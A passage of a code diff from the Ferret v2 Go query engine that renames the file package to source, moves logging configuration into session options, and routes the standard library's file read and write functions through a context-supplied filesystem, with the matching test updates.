    -			source := NewSource("test.fql", "hello world")
    +			source := New("test.fql", "hello world")
     
     			Convey("Should return correct location at start", func() {
     				line, col := source.LocationAt(Span{Start: 0, End: 1})
    @@ -111,7 +111,7 @@ func TestSourceLocationAt(t *testing.T) {
     		})
     
     		Convey("Multi-line text", func() {
    -			source := NewSource("test.fql", "line1\nline2\nline3")
    +			source := New("test.fql", "line1\nline2\nline3")
     
     			Convey("Should return correct location on first line", func() {
     				line, col := source.LocationAt(Span{Start: 2, End: 3})
    @@ -145,7 +145,7 @@ func TestSourceLocationAt(t *testing.T) {
     		})
     
     		Convey("Edge cases", func() {
    -			source := NewSource("test.fql", "hello\nworld")
    +			source := New("test.fql", "hello\nworld")
     
     			Convey("Should handle negative start", func() {
     				line, col := source.LocationAt(Span{Start: -1, End: 0})
    @@ -160,7 +160,7 @@ func TestSourceLocationAt(t *testing.T) {
     			})
     
     			Convey("Should handle empty source", func() {
    -				emptySource := NewSource("empty.fql", "")
    +				emptySource := New("empty.fql", "")
     				line, col := emptySource.LocationAt(Span{Start: 0, End: 1})
     				So(line, ShouldEqual, 0)
     				So(col, ShouldEqual, 0)
    @@ -179,7 +179,7 @@ func TestSourceLocationAt(t *testing.T) {
     func TestSourceSnippet(t *testing.T) {
     	Convey("Source.Snippet", t, func() {
     		Convey("Single line source", func() {
    -			source := NewSource("test.fql", "hello world")
    +			source := New("test.fql", "hello world")
     			span := Span{Start: 6, End: 11}
     
     			snippets := source.Snippet(span)
    @@ -191,7 +191,7 @@ func TestSourceSnippet(t *testing.T) {
     		})
     
     		Convey("Multi-line source", func() {
    -			source := NewSource("test.fql", "line1\nline2\nline3")
    +			source := New("test.fql", "line1\nline2\nline3")
     			span := Span{Start: 8, End: 10} // "in" in "line2"
     
     			snippets := source.Snippet(span)
    @@ -206,7 +206,7 @@ func TestSourceSnippet(t *testing.T) {
     		})
     
     		Convey("First line span", func() {
    -			source := NewSource("test.fql", "line1\nline2\nline3")
    +			source := New("test.fql", "line1\nline2\nline3")
     			span := Span{Start: 2, End: 4} // "ne" in "line1"
     
     			snippets := source.Snippet(span)
    @@ -219,7 +219,7 @@ func TestSourceSnippet(t *testing.T) {
     		})
     
     		Convey("Last line span", func() {
    -			source := NewSource("test.fql", "line1\nline2\nline3")
    +			source := New("test.fql", "line1\nline2\nline3")
     			span := Span{Start: 14, End: 16} // "ne" in "line3"
     
     			snippets := source.Snippet(span)
    @@ -232,7 +232,7 @@ func TestSourceSnippet(t *testing.T) {
     		})
     
     		Convey("Empty source", func() {
    -			source := NewSource("empty.fql", "")
    +			source := New("empty.fql", "")
     			span := Span{Start: 0, End: 1}
     
     			snippets := source.Snippet(span)
    
  • pkg/source/span.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     type Span struct {
     	Start int `json:"start"`
    
  • pkg/source/span_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import (
     	"testing"
    
  • pkg/stdlib/io/fs/read.go+9 3 modified
    @@ -2,22 +2,28 @@ package fs
     
     import (
     	"context"
    -	"os"
     
    +	"github.com/MontFerret/ferret/v2/pkg/fs"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
     // READ reads from a given file.
     // @param {String} path - Path to file to read from.
     // @return {Binary} - File content in binary format.
    -func Read(_ context.Context, arg runtime.Value) (runtime.Value, error) {
    +func Read(ctx context.Context, arg runtime.Value) (runtime.Value, error) {
     	path, err := runtime.CastArg[runtime.String](arg, 0)
     
     	if err != nil {
     		return runtime.None, err
     	}
     
    -	data, err := os.ReadFile(path.String())
    +	reader, err := fs.ReaderFrom(ctx)
    +
    +	if err != nil {
    +		return runtime.None, err
    +	}
    +
    +	data, err := reader.ReadFile(path.String())
     
     	if err != nil {
     		return runtime.None, err
    
  • pkg/stdlib/io/fs/read_test.go+12 8 modified
    @@ -2,6 +2,8 @@ package fs_test
     
     import (
     	"context"
    +	"os"
    +	"path/filepath"
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    @@ -11,7 +13,6 @@ import (
     )
     
     func TestRead(t *testing.T) {
    -
     	Convey("Arguments passed", t, func() {
     		Convey("Passed not a string", func() {
     			out, err := fs.Read(context.Background(), runtime.NewInt(0))
    @@ -22,17 +23,17 @@ func TestRead(t *testing.T) {
     	})
     
     	Convey("Read from file", t, func() {
    -
     		Convey("File exists", func() {
    -			file, delFile := tempFile()
    -			defer delFile()
    +			ctx, root, path, cleanup := tempFileSystemContext()
    +			defer cleanup()
     
     			text := "s string"
    -			file.WriteString(text)
    +			err := os.WriteFile(filepath.Join(root, path), []byte(text), 0o666)
    +			So(err, ShouldBeNil)
     
    -			fname := runtime.NewString(file.Name())
    +			fname := runtime.NewString(path)
     
    -			out, err := fs.Read(context.Background(), fname)
    +			out, err := fs.Read(ctx, fname)
     			So(err, ShouldBeNil)
     
     			SoMsg("Output should be binary", runtime.AssertBinary(out), ShouldBeNil)
    @@ -41,9 +42,12 @@ func TestRead(t *testing.T) {
     		})
     
     		Convey("File does not exist", func() {
    +			ctx, _, _, cleanup := tempFileSystemContext()
    +			defer cleanup()
    +
     			fname := runtime.NewString("not_exist.file")
     
    -			out, err := fs.Read(context.Background(), fname)
    +			out, err := fs.Read(ctx, fname)
     			So(out, ShouldEqual, runtime.None)
     			So(err, ShouldBeError)
     		})
    
  • pkg/stdlib/io/fs/util_test.go+22 6 modified
    @@ -1,19 +1,35 @@
     package fs_test
     
     import (
    +	"context"
     	"os"
     
    +	ferretfs "github.com/MontFerret/ferret/v2/pkg/fs"
    +
     	. "github.com/smartystreets/goconvey/convey"
     )
     
    -func tempFile() (*os.File, func()) {
    -	file, err := os.CreateTemp("", "fstest")
    +type closeable interface {
    +	Close() error
    +}
    +
    +func tempFileSystemContext() (context.Context, string, string, func()) {
    +	root, err := os.MkdirTemp("", "fstest")
     	So(err, ShouldBeNil)
     
    -	fn := func() {
    -		file.Close()
    -		os.Remove(file.Name())
    +	filesystem, err := ferretfs.New(ferretfs.WithRoot(root))
    +	So(err, ShouldBeNil)
    +
    +	ctx := ferretfs.WithFileSystem(context.Background(), filesystem)
    +	path := "test.txt"
    +
    +	cleanup := func() {
    +		if c, ok := filesystem.(closeable); ok {
    +			_ = c.Close()
    +		}
    +
    +		_ = os.RemoveAll(root)
     	}
     
    -	return file, fn
    +	return ctx, root, path, cleanup
     }
    
  • pkg/stdlib/io/fs/write.go+9 2 modified
    @@ -5,6 +5,7 @@ import (
     	"os"
     	"sort"
     
    +	"github.com/MontFerret/ferret/v2/pkg/fs"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -16,7 +17,7 @@ import (
     // * x - Exclusive: returns an error if the file exist. It can be combined with other modes
     // * a - Append: will create a file if the specified file does not exist
     // * w - Write (Default): will create a file if the specified file does not exist
    -func Write(_ context.Context, args ...runtime.Value) (runtime.Value, error) {
    +func Write(ctx context.Context, args ...runtime.Value) (runtime.Value, error) {
     	if err := runtime.ValidateArgs(args, 2, 3); err != nil {
     		return runtime.None, err
     	}
    @@ -45,8 +46,14 @@ func Write(_ context.Context, args ...runtime.Value) (runtime.Value, error) {
     		params = p
     	}
     
    +	filesystem, err := fs.FileSystemFrom(ctx)
    +
    +	if err != nil {
    +		return runtime.None, err
    +	}
    +
     	// 0666 - read & write
    -	file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)
    +	file, err := filesystem.OpenFile(string(fpath), params.ModeFlag, 0666)
     
     	if err != nil {
     		return runtime.None, runtime.Error(err, "open file")
    
  • pkg/stdlib/io/fs/write_test.go+27 21 modified
    @@ -4,6 +4,8 @@ import (
     	"bytes"
     	"context"
     	"fmt"
    +	"os"
    +	"path/filepath"
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    @@ -115,14 +117,16 @@ func TestWrite(t *testing.T) {
     	})
     
     	Convey("Error cases", t, func() {
    -
     		Convey("Write into existing file with `x` mode", func() {
    -			file, delFile := tempFile()
    -			defer delFile()
    +			ctx, root, path, cleanup := tempFileSystemContext()
    +			defer cleanup()
    +
    +			err := os.WriteFile(filepath.Join(root, path), []byte("existing"), 0o666)
    +			So(err, ShouldBeNil)
     
     			none, err := fs.Write(
    -				context.Background(),
    -				runtime.NewString(file.Name()),
    +				ctx,
    +				runtime.NewString(path),
     				runtime.NewBinary([]byte("3timeslazy")),
     				runtime.NewObjectWith(
     					map[string]runtime.Value{
    @@ -135,8 +139,11 @@ func TestWrite(t *testing.T) {
     		})
     
     		Convey("Filepath is empty", func() {
    +			ctx, _, _, cleanup := tempFileSystemContext()
    +			defer cleanup()
    +
     			none, err := fs.Write(
    -				context.Background(),
    +				ctx,
     				runtime.NewString(""),
     				runtime.NewBinary([]byte("3timeslazy")),
     			)
    @@ -146,13 +153,12 @@ func TestWrite(t *testing.T) {
     	})
     
     	Convey("Success cases", t, func() {
    -
     		Convey("Mode `w` should truncate file", func() {
    -			file, delFile := tempFile()
    -			defer delFile()
    +			ctx, _, path, cleanup := tempFileSystemContext()
    +			defer cleanup()
     
     			data := runtime.NewBinary([]byte("3timeslazy"))
    -			fpath := runtime.NewString(file.Name())
    +			fpath := runtime.NewString(path)
     			params := runtime.NewObjectWith(
     				map[string]runtime.Value{
     					"mode": runtime.NewString("w"),
    @@ -164,21 +170,21 @@ func TestWrite(t *testing.T) {
     				// At second iteration check that `Write` truncates the file and
     				// writes `data` again
     
    -				_, err := fs.Write(context.Background(), fpath, data, params)
    +				_, err := fs.Write(ctx, fpath, data, params)
     				So(err, ShouldBeNil)
     
    -				read, err := fs.Read(context.Background(), fpath)
    +				read, err := fs.Read(ctx, fpath)
     				So(err, ShouldBeNil)
     				So(read, ShouldResemble, data)
     			}
     		})
     
     		Convey("Mode `a` should append into file", func() {
    -			file, delFile := tempFile()
    -			defer delFile()
    +			ctx, _, path, cleanup := tempFileSystemContext()
    +			defer cleanup()
     
     			data := runtime.NewBinary([]byte("3timeslazy"))
    -			fpath := runtime.NewString(file.Name())
    +			fpath := runtime.NewString(path)
     			params := runtime.NewObjectWith(
     				map[string]runtime.Value{
     					"mode": runtime.NewString("a"),
    @@ -191,10 +197,10 @@ func TestWrite(t *testing.T) {
     				// At second iteration check that `Write` appends `data` into file
     				// one more time using bytes.Repeat
     
    -				_, err := fs.Write(context.Background(), fpath, data, params)
    +				_, err := fs.Write(ctx, fpath, data, params)
     				So(err, ShouldBeNil)
     
    -				read, err := fs.Read(context.Background(), fpath)
    +				read, err := fs.Read(ctx, fpath)
     				So(err, ShouldBeNil)
     
     				readBytes := runtime.Unwrap(read)
    @@ -203,13 +209,13 @@ func TestWrite(t *testing.T) {
     		})
     
     		Convey("Write string data should error", func() {
    -			file, delFile := tempFile()
    -			defer delFile()
    +			ctx, _, path, cleanup := tempFileSystemContext()
    +			defer cleanup()
     
     			text := "test string data"
    -			fpath := runtime.NewString(file.Name())
    +			fpath := runtime.NewString(path)
     
    -			none, err := fs.Write(context.Background(), fpath, runtime.NewString(text))
    +			none, err := fs.Write(ctx, fpath, runtime.NewString(text))
     			So(err, ShouldBeError)
     			So(none, ShouldResemble, runtime.None)
     		})
    
  • pkg/stdlib/utils/log.go+2 1 modified
    @@ -3,6 +3,7 @@ package utils
     import (
     	"context"
     
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -25,7 +26,7 @@ func Print(ctx context.Context, args ...runtime.Value) (runtime.Value, error) {
     		}
     	}
     
    -	logger := runtime.GetLogger(ctx)
    +	logger := logging.From(ctx)
     	logger.Print(messages...)
     
     	return runtime.None, nil
    
  • pkg/vm/env.go+0 20 modified
    @@ -1,24 +1,20 @@
     package vm
     
     import (
    -	"os"
    -
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
     type (
     	environmentBuilder struct {
     		functions *runtime.FunctionsBuilder
     		params    runtime.Params
    -		logging   runtime.LogSettings
     	}
     
     	EnvironmentOption func(env *environmentBuilder)
     
     	Environment struct {
     		Functions *runtime.Functions
     		Params    runtime.Params
    -		Logging   runtime.LogSettings
     	}
     )
     
    @@ -31,21 +27,13 @@ func NewDefaultEnvironment() *Environment {
     	return &Environment{
     		Functions: runtime.NewFunctions(),
     		Params:    runtime.NewParams(),
    -		Logging: runtime.LogSettings{
    -			Writer: os.Stdout,
    -			Level:  runtime.ErrorLevel,
    -		},
     	}
     }
     
     func NewEnvironment(opts []EnvironmentOption) (*Environment, error) {
     	envBuilder := &environmentBuilder{
     		functions: runtime.NewFunctionsBuilder(),
     		params:    runtime.NewParams(),
    -		logging: runtime.LogSettings{
    -			Writer: os.Stdout,
    -			Level:  runtime.ErrorLevel,
    -		},
     	}
     
     	for _, opt := range opts {
    @@ -61,7 +49,6 @@ func NewEnvironment(opts []EnvironmentOption) (*Environment, error) {
     	return &Environment{
     		Functions: funcs,
     		Params:    envBuilder.params,
    -		Logging:   envBuilder.logging,
     	}, nil
     }
     
    @@ -90,13 +77,6 @@ func MergeEnvironments(envs ...*Environment) (*Environment, error) {
     		for name, val := range env.Params {
     			merged.Params[name] = val
     		}
    -
    -		// merge logging options
    -		if env.Logging.Writer != nil {
    -			merged.Logging.Writer = env.Logging.Writer
    -		}
    -
    -		merged.Logging.Level = env.Logging.Level
     	}
     
     	builder := runtime.NewFunctionsBuilderFrom(funcsToMerge...)
    
  • pkg/vm/env_options.go+0 20 modified
    @@ -1,8 +1,6 @@
     package vm
     
     import (
    -	"io"
    -
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -69,21 +67,3 @@ func WithFunctionsRegistrar(setter func(fns runtime.FunctionDefs)) EnvironmentOp
     		}
     	}
     }
    -
    -func WithLog(writer io.Writer) EnvironmentOption {
    -	return func(env *environmentBuilder) {
    -		env.logging.Writer = writer
    -	}
    -}
    -
    -func WithLogLevel(lvl runtime.LogLevel) EnvironmentOption {
    -	return func(env *environmentBuilder) {
    -		env.logging.Level = lvl
    -	}
    -}
    -
    -func WithLogFields(fields map[string]any) EnvironmentOption {
    -	return func(env *environmentBuilder) {
    -		env.logging.Fields = fields
    -	}
    -}
    
  • pkg/vm/internal/diagnostics/span.go+4 4 modified
    @@ -2,16 +2,16 @@ package diagnostics
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func SpanAt(program *bytecode.Program, pc int) file.Span {
    +func SpanAt(program *bytecode.Program, pc int) source.Span {
     	if program == nil {
    -		return file.Span{Start: -1, End: -1}
    +		return source.Span{Start: -1, End: -1}
     	}
     
     	if pc < 0 || pc >= len(program.Metadata.DebugSpans) {
    -		return file.Span{Start: -1, End: -1}
    +		return source.Span{Start: -1, End: -1}
     	}
     
     	return program.Metadata.DebugSpans[pc]
    
  • pkg/vm/vm_test.go+9 9 modified
    @@ -9,8 +9,8 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm/internal/data"
     	rtdiagnostics "github.com/MontFerret/ferret/v2/pkg/vm/internal/diagnostics"
     	"github.com/MontFerret/ferret/v2/pkg/vm/internal/frame"
    @@ -2429,9 +2429,9 @@ func TestBuildExecPlanRejectsMatchFailTargetLengthMismatch(t *testing.T) {
     func TestWrapRuntimeErrorSingleWarmupFailureReturnsRuntimeError(t *testing.T) {
     	program := &bytecode.Program{
     		ISAVersion: bytecode.Version,
    -		Source:     file.NewSource("test", "RETURN 1"),
    +		Source:     source.New("test", "RETURN 1"),
     		Metadata: bytecode.Metadata{
    -			DebugSpans: []file.Span{{Start: 0, End: 6}},
    +			DebugSpans: []source.Span{{Start: 0, End: 6}},
     		},
     	}
     
    @@ -2542,9 +2542,9 @@ func TestNearestBoundaryUsesProtectedUnwindWithoutCatch(t *testing.T) {
     func TestWrapRuntimeErrorPreservesExistingNoteAndDoesNotDuplicateStackDetails(t *testing.T) {
     	program := &bytecode.Program{
     		ISAVersion: bytecode.Version,
    -		Source:     file.NewSource("test", "RETURN 1"),
    +		Source:     source.New("test", "RETURN 1"),
     		Metadata: bytecode.Metadata{
    -			DebugSpans: []file.Span{{Start: 0, End: 6}},
    +			DebugSpans: []source.Span{{Start: 0, End: 6}},
     		},
     	}
     
    @@ -2595,9 +2595,9 @@ func TestWrapRuntimeErrorPreservesExistingNoteAndDoesNotDuplicateStackDetails(t
     func TestWrapRuntimeErrorRecognizesLegacyCallStackLabelWithoutDuplicatingSpans(t *testing.T) {
     	program := &bytecode.Program{
     		ISAVersion: bytecode.Version,
    -		Source:     file.NewSource("test", "RETURN 1"),
    +		Source:     source.New("test", "RETURN 1"),
     		Metadata: bytecode.Metadata{
    -			DebugSpans: []file.Span{{Start: 0, End: 6}},
    +			DebugSpans: []source.Span{{Start: 0, End: 6}},
     		},
     	}
     
    @@ -2607,8 +2607,8 @@ func TestWrapRuntimeErrorRecognizesLegacyCallStackLabelWithoutDuplicatingSpans(t
     			Message: "Runtime error",
     			Source:  program.Source,
     			Spans: []diagnostics.ErrorSpan{
    -				diagnostics.NewSecondaryErrorSpan(file.Span{Start: 0, End: 6}, "called from (#1)"),
    -				diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 6}, ""),
    +				diagnostics.NewSecondaryErrorSpan(source.Span{Start: 0, End: 6}, "called from (#1)"),
    +				diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 6}, ""),
     			},
     		},
     	}
    
  • plan.go+4 14 modified
    @@ -7,6 +7,7 @@ import (
     	"sync"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
    @@ -78,8 +79,7 @@ func (p *Plan) NewSession(ctx context.Context, setters ...SessionOption) (*Sessi
     	env, err := vm.ExtendEnvironment(&vm.Environment{
     		Functions: h.functions,
     		Params:    h.params,
    -		Logging:   h.logging,
    -	}, sessionOpts.envOptions)
    +	}, sessionOpts.env)
     
     	if err != nil {
     		return nil, err
    @@ -99,6 +99,8 @@ func (p *Plan) NewSession(ctx context.Context, setters ...SessionOption) (*Sessi
     	return &Session{
     		vm:                instance,
     		env:               env,
    +		logger:            logging.NewFrom(h.logger, sessionOpts.logger...),
    +		fs:                h.fs,
     		encoding:          h.encoding,
     		outputContentType: sessionOpts.outputContentType,
     		hooks:             hooks,
    @@ -137,15 +139,3 @@ func (p *Plan) Close() error {
     
     	return err
     }
    -
    -func newSessionRelease(limiter *sessionLimiter, pool *vm.Pool) vmReleaseFunc {
    -	var once sync.Once
    -
    -	return func(instance *vm.VM) {
    -		once.Do(func() {
    -			// Release the engine-wide session slot even if the plan has already been closed.
    -			limiter.Release()
    -			pool.Release(instance)
    -		})
    -	}
    -}
    
  • plan_helpers.go+19 0 added
    @@ -0,0 +1,19 @@
    +package ferret
    +
    +import (
    +	"sync"
    +
    +	"github.com/MontFerret/ferret/v2/pkg/vm"
    +)
    +
    +func newSessionRelease(limiter *sessionLimiter, pool *vm.Pool) vmReleaseFunc {
    +	var once sync.Once
    +
    +	return func(instance *vm.VM) {
    +		once.Do(func() {
    +			// Release the engine-wide session slot even if the plan has already been closed.
    +			limiter.Release()
    +			pool.Release(instance)
    +		})
    +	}
    +}
    
  • session.go+12 2 modified
    @@ -8,6 +8,8 @@ import (
     	"sync/atomic"
     
     	"github.com/MontFerret/ferret/v2/pkg/encoding"
    +	"github.com/MontFerret/ferret/v2/pkg/fs"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
    @@ -32,6 +34,8 @@ type (
     		vm                *vm.VM
     		env               *vm.Environment
     		encoding          *encoding.Registry
    +		logger            logging.Logger
    +		fs                fs.FileSystem
     		release           vmReleaseFunc
     		outputContentType string
     		closeOnce         sync.Once
    @@ -50,8 +54,7 @@ func (s *Session) Run(c context.Context) (*Output, error) {
     		return nil, fmt.Errorf("before run hooks: %w", err)
     	}
     
    -	ctx = encoding.WithRegistry(ctx, s.encoding)
    -	out, err := s.vm.Run(ctx, s.env)
    +	out, err := s.vm.Run(s.extendContext(ctx), s.env)
     
     	// After-run hooks always run and receive the VM run error (if any).
     	if hookErr := s.hooks.runAfterRunHooks(ctx, err); hookErr != nil {
    @@ -76,6 +79,13 @@ func (s *Session) Run(c context.Context) (*Output, error) {
     	return output, nil
     }
     
    +func (s *Session) extendContext(ctx context.Context) context.Context {
    +	ctx = s.logger.WithContext(ctx)
    +	ctx = encoding.WithRegistry(ctx, s.encoding)
    +	ctx = fs.WithFileSystem(ctx, s.fs)
    +	return ctx
    +}
    +
     // Close releases the session's borrowed VM and runs close hooks.
     // It is idempotent and safe to call multiple times, including concurrently.
     func (s *Session) Close() error {
    
  • session_options.go+128 0 added
    @@ -0,0 +1,128 @@
    +package ferret
    +
    +import (
    +	"fmt"
    +	"io"
    +	"strings"
    +
    +	encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
    +	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/vm"
    +)
    +
    +type (
    +	sessionOptions struct {
    +		logger            []logging.Option
    +		outputContentType string
    +		env               []vm.EnvironmentOption
    +	}
    +
    +	SessionOption func(*sessionOptions) error
    +)
    +
    +func newSessionOptions(setters []SessionOption) (*sessionOptions, error) {
    +	opts := &sessionOptions{
    +		outputContentType: encodingjson.ContentType,
    +	}
    +
    +	for _, setter := range setters {
    +		if setter == nil {
    +			continue
    +		}
    +
    +		if err := setter(opts); err != nil {
    +			return nil, err
    +		}
    +	}
    +
    +	return opts, nil
    +}
    +
    +func WithEnvironmentOptions(opts ...vm.EnvironmentOption) SessionOption {
    +	return func(session *sessionOptions) error {
    +		if session == nil {
    +			return nil
    +		}
    +
    +		if len(opts) == 0 {
    +			return nil
    +		}
    +
    +		for _, opt := range opts {
    +			if opt == nil {
    +				continue
    +			}
    +
    +			session.env = append(session.env, opt)
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func WithOutputContentType(contentType string) SessionOption {
    +	return func(session *sessionOptions) error {
    +		if session == nil {
    +			return nil
    +		}
    +
    +		trimmed := strings.TrimSpace(contentType)
    +		if trimmed == "" {
    +			return fmt.Errorf("output content type cannot be empty")
    +		}
    +
    +		session.outputContentType = trimmed
    +		return nil
    +	}
    +}
    +
    +func WithSessionParams(params runtime.Params) SessionOption {
    +	return WithEnvironmentOptions(vm.WithParams(params))
    +}
    +
    +func WithSessionParam(name string, value runtime.Value) SessionOption {
    +	return WithEnvironmentOptions(vm.WithParam(name, value))
    +}
    +
    +// WithSessionLog sets the writer for logging output.
    +// The writer can be any io.Writer, such as os.Stdout or a file.
    +func WithSessionLog(writer io.Writer) SessionOption {
    +	return func(opts *sessionOptions) error {
    +		if writer == nil {
    +			return fmt.Errorf("log writer cannot be nil")
    +		}
    +
    +		opts.logger = append(opts.logger, logging.WithWriter(writer))
    +
    +		return nil
    +	}
    +}
    +
    +// WithSessionLogLevel sets the logging level for the session.
    +// The logging level determines the severity of log messages that will be recorded.
    +func WithSessionLogLevel(lvl logging.LogLevel) SessionOption {
    +	return func(opts *sessionOptions) error {
    +		if lvl < logging.TraceLevel || lvl > logging.Disabled {
    +			return fmt.Errorf("invalid log level: %v", lvl)
    +		}
    +
    +		opts.logger = append(opts.logger, logging.WithLevel(lvl))
    +
    +		return nil
    +	}
    +}
    +
    +// WithSessionLogFields sets the fields to be included in log entries for the session.
    +// These fields can provide additional context for debugging and monitoring purposes.
    +func WithSessionLogFields(fields map[string]any) SessionOption {
    +	return func(opts *sessionOptions) error {
    +		if fields == nil {
    +			return fmt.Errorf("log fields cannot be nil")
    +		}
    +
    +		opts.logger = append(opts.logger, logging.WithFields(fields))
    +
    +		return nil
    +	}
    +}
    
  • test/benchmarks/bench_compiler_concat_test.go+3 3 modified
    @@ -6,7 +6,7 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func BenchmarkCompilerCompileConcatChain_O1(b *testing.B) {
    @@ -21,13 +21,13 @@ func benchmarkCompileQuery(b *testing.B, query string, level compiler.Optimizati
     	b.Helper()
     
     	compilerInstance := compiler.New(compiler.WithOptimizationLevel(level))
    -	source := file.NewSource("concat_benchmark", query)
    +	src := source.New("concat_benchmark", query)
     
     	b.ReportAllocs()
     	b.ResetTimer()
     
     	for i := 0; i < b.N; i++ {
    -		if _, err := compilerInstance.Compile(source); err != nil {
    +		if _, err := compilerInstance.Compile(src); err != nil {
     			b.Fatalf("compile failed: %v", err)
     		}
     	}
    
  • test/e2e/cli.go+18 17 modified
    @@ -19,9 +19,10 @@ import (
     	"github.com/MontFerret/ferret/v2/pkg/asm"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/formatter"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
     	"github.com/rs/zerolog"
     
    @@ -237,7 +238,7 @@ var (
     
     	logLevel = flag.String(
     		"log-level",
    -		runtime.ErrorLevel.String(),
    +		logging.ErrorLevel.String(),
     		"log level",
     	)
     )
    @@ -260,7 +261,7 @@ func main() {
     		TimeFormat: "15:04:05.999",
     	}
     	logger = zerolog.New(console).
    -		Level(zerolog.Level(runtime.MustParseLogLevel(*logLevel))).
    +		Level(zerolog.Level(logging.MustParseLogLevel(*logLevel))).
     		With().
     		Timestamp().
     		Logger()
    @@ -315,7 +316,7 @@ func main() {
     		f := formatter.New()
     
     		if query != "" {
    -			err = formatQuery(f, file.NewSource("stdin", query))
    +			err = formatQuery(f, source.New("stdin", query))
     		} else {
     			err = formatFiles(ctx, f, files)
     		}
    @@ -338,7 +339,7 @@ func main() {
     		}
     
     		if query != "" {
    -			err = runQuery(ctx, engine, sessionOptions, file.NewSource("stdin", query))
    +			err = runQuery(ctx, engine, sessionOptions, source.New("stdin", query))
     		} else {
     			err = execFiles(ctx, engine, sessionOptions, files)
     		}
    @@ -350,7 +351,7 @@ func main() {
     	}
     }
     
    -func formatQuery(f *formatter.Formatter, query *file.Source) error {
    +func formatQuery(f *formatter.Formatter, query *source.Source) error {
     	err := f.Format(os.Stdout, query)
     
     	if err != nil {
    @@ -361,26 +362,26 @@ func formatQuery(f *formatter.Formatter, query *file.Source) error {
     }
     
     func formatFiles(ctx context.Context, f *formatter.Formatter, files []string) error {
    -	return processFiles(ctx, files, "format", func(ctx context.Context, src *file.Source) error {
    +	return processFiles(ctx, files, "format", func(ctx context.Context, src *source.Source) error {
     		return formatQuery(f, src)
     	})
     }
     
     func execFiles(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, files []string) error {
    -	return processFiles(ctx, files, "execute", func(ctx context.Context, src *file.Source) error {
    +	return processFiles(ctx, files, "execute", func(ctx context.Context, src *source.Source) error {
     		return runQuery(ctx, engine, opts, src)
     	})
     }
     
    -func runQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *file.Source) error {
    +func runQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *source.Source) error {
     	if !(*dryRun) {
     		return execQuery(ctx, engine, opts, query)
     	}
     
     	return analyzeQuery(query)
     }
     
    -func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *file.Source) error {
    +func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *source.Source) error {
     	plan, err := engine.Compile(ctx, query)
     
     	if err != nil {
    @@ -442,7 +443,7 @@ func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.Session
     	return nil
     }
     
    -func processFiles(ctx context.Context, files []string, op string, predicate func(ctx context.Context, src *file.Source) error) error {
    +func processFiles(ctx context.Context, files []string, op string, predicate func(ctx context.Context, src *source.Source) error) error {
     	errList := make([]diagnostics.FormattableError, 0, len(files))
     
     	for _, path := range files {
    @@ -457,7 +458,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func
     			errList = append(errList, &diagnostics.Diagnostic{
     				Kind:    diagnostics.UnexpectedError,
     				Message: "failed to get path info",
    -				Source:  file.NewSource("stdin", path),
    +				Source:  source.New("stdin", path),
     				Cause:   err,
     			})
     
    @@ -475,7 +476,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func
     				errList = append(errList, &diagnostics.Diagnostic{
     					Kind:    diagnostics.UnexpectedError,
     					Message: "failed to retrieve list of files",
    -					Source:  file.NewSource("stdin", path),
    +					Source:  source.New("stdin", path),
     					Cause:   err,
     				})
     
    @@ -499,7 +500,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func
     					errList = append(errList, &diagnostics.Diagnostic{
     						Kind:    diagnostics.UnexpectedError,
     						Message: fmt.Sprintf("failed to %s files", op),
    -						Source:  file.NewSource("stdin", path),
    +						Source:  source.New("stdin", path),
     						Cause:   err,
     					})
     				} else {
